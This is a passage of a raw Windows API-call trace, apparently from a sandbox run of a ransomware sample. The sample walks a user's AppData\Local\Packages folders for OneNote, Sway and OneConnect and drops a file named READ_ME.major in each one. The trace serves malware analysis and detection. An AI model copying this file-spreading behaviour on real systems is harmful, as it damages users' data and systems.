returned 1 [0188.650] FindNextFileW (in: hFindFile=0x661730, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28f343d5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x352fda34, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x352fda34, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0188.650] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0188.652] WriteFile (in: hFile=0x8e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.652] CloseHandle (hObject=0x8e4) returned 1 [0188.653] FindNextFileW (in: hFindFile=0x661730, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28ec1d32, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce454200, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28ec1d32, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0188.653] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0188.655] WriteFile (in: hFile=0x8e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.655] CloseHandle (hObject=0x8e4) returned 1 [0188.656] FindNextFileW (in: hFindFile=0x661730, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e29353, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce454a7a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28e29353, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0188.656] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0188.657] WriteFile (in: hFile=0x8e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.658] CloseHandle (hObject=0x8e4) returned 1 [0188.658] FindNextFileW (in: hFindFile=0x661730, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e030d8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce4552a7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28e030d8, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0188.658] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0188.659] WriteFile (in: hFile=0x8e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.659] CloseHandle (hObject=0x8e4) returned 1 [0188.660] FindNextFileW (in: hFindFile=0x661730, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x223fac67, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x223fac67, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x223fac67, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0188.660] FindNextFileW (in: hFindFile=0x661730, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e030d8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce4559e8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28e030d8, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0188.660] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0188.661] WriteFile (in: hFile=0x8e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.662] CloseHandle (hObject=0x8e4) returned 1 [0188.662] FindNextFileW (in: hFindFile=0x661730, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e29353, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7128025e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7128025e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0188.662] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0188.665] WriteFile (in: hFile=0x8e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.666] CloseHandle (hObject=0x8e4) returned 1 [0188.666] FindNextFileW (in: hFindFile=0x661730, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d747894, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8d747894, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8d747894, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0188.666] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0188.667] WriteFile (in: hFile=0x8e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.668] CloseHandle (hObject=0x8e4) returned 1 [0188.668] FindNextFileW (in: hFindFile=0x661730, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e29353, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce51c9dd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28e29353, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0188.668] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0188.669] WriteFile (in: hFile=0x8e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.670] CloseHandle (hObject=0x8e4) returned 1 [0188.670] FindNextFileW (in: hFindFile=0x661730, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e29353, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce51c9dd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28e29353, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0188.670] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f04703, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd6e72acf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x223fac67, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x661770 [0188.671] FindNextFileW (in: hFindFile=0x661770, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f04703, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd6e72acf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x223fac67, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0188.671] FindNextFileW (in: hFindFile=0x661770, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x270f45ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x355f8919, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x355f8919, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0188.671] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.sway_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0188.673] WriteFile (in: hFile=0x8e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.674] CloseHandle (hObject=0x8e8) returned 1 [0188.675] FindNextFileW (in: hFindFile=0x661770, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x270a815c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce521aa5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x270a815c, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0188.675] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.sway_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0188.676] WriteFile (in: hFile=0x8e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.677] CloseHandle (hObject=0x8e8) returned 1 [0188.677] FindNextFileW (in: hFindFile=0x661770, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f2a964, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce5222ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26f2a964, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0188.677] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.sway_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0188.678] WriteFile (in: hFile=0x8e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.679] CloseHandle (hObject=0x8e8) returned 1 [0188.680] FindNextFileW (in: hFindFile=0x661770, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f04703, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce522bb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26f04703, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0188.680] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.sway_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0188.681] WriteFile (in: hFile=0x8e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.682] CloseHandle (hObject=0x8e8) returned 1 [0188.682] FindNextFileW (in: hFindFile=0x661770, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x223fac67, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x223fac67, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x223fac67, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0188.682] FindNextFileW (in: hFindFile=0x661770, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f04703, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce523499, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26f04703, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0188.682] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.sway_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0188.683] WriteFile (in: hFile=0x8e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.684] CloseHandle (hObject=0x8e8) returned 1 [0188.684] FindNextFileW (in: hFindFile=0x661770, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f2a964, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7128025e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7128025e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0188.684] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.sway_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0188.686] WriteFile (in: hFile=0x8e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.687] CloseHandle (hObject=0x8e8) returned 1 [0188.687] FindNextFileW (in: hFindFile=0x661770, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e72acf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd6e72acf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd6e72acf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0188.687] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.sway_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0188.688] WriteFile (in: hFile=0x8e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.689] CloseHandle (hObject=0x8e8) returned 1 [0188.689] FindNextFileW (in: hFindFile=0x661770, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f04703, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce657df6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26f04703, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0188.690] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.sway_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0188.690] WriteFile (in: hFile=0x8e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.691] CloseHandle (hObject=0x8e8) returned 1 [0188.691] FindNextFileW (in: hFindFile=0x661770, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f04703, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce657df6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26f04703, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0188.691] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5dc228d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x223fac67, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6617b0 [0188.692] FindNextFileW (in: hFindFile=0x6617b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5dc228d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x223fac67, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0188.692] FindNextFileW (in: hFindFile=0x6617b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd5dc228d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5dc228d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5dc228d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 